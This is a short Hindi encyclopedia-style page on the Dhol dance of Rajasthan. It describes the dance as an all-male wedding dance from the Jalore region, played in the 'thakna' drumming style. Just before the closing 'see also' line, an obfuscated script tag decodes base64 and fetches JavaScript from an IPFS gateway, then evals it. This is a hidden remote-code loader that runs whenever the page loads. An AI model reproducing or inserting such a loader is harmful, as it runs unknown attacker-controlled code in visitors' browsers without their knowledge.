ढोल नृत्य

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ढोल नृत्य राजस्थान के प्रसिद्ध लोक नृत्यों में से एक है। यह मरुस्थल क्षेत्र का प्रसिद्ध नृत्य है, जिसका प्रचलन जालौर में है।

  • यह नृत्य मात्र पुरुषों के द्वारा किया जाता है, महिलाएँ इसमें भाग नहीं लेती हैं।
  • ढोल नृत्य एक समारोहिक नृत्य है, जिसे विवाह आदि के दिनों में उत्साह के साथ किया जाता है।
  • इस नृत्य में ढोल बजाने वाले एक मुखिया के साथ चार-पाँच लोग और होते हैं।
  • ढोल को स्थानीय 'थाकना' शैली में बजाया जाता है।
  • 'थाकना' के बाद विभिन्न मुद्राओं व रूपों में सजे पुरुष लयबद्ध तरीके से इस नृत्य में सम्मिलित होते हैं।
  • राजस्थान में ढोली, सरगड़ा, माली तथा भील जाति के लोकवादक तथा गायक इसमें विशेष दक्ष माने जाते हैं।


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: कालबेलिया नृत्य, गैर नृत्य एवं अग्नि नृत्य


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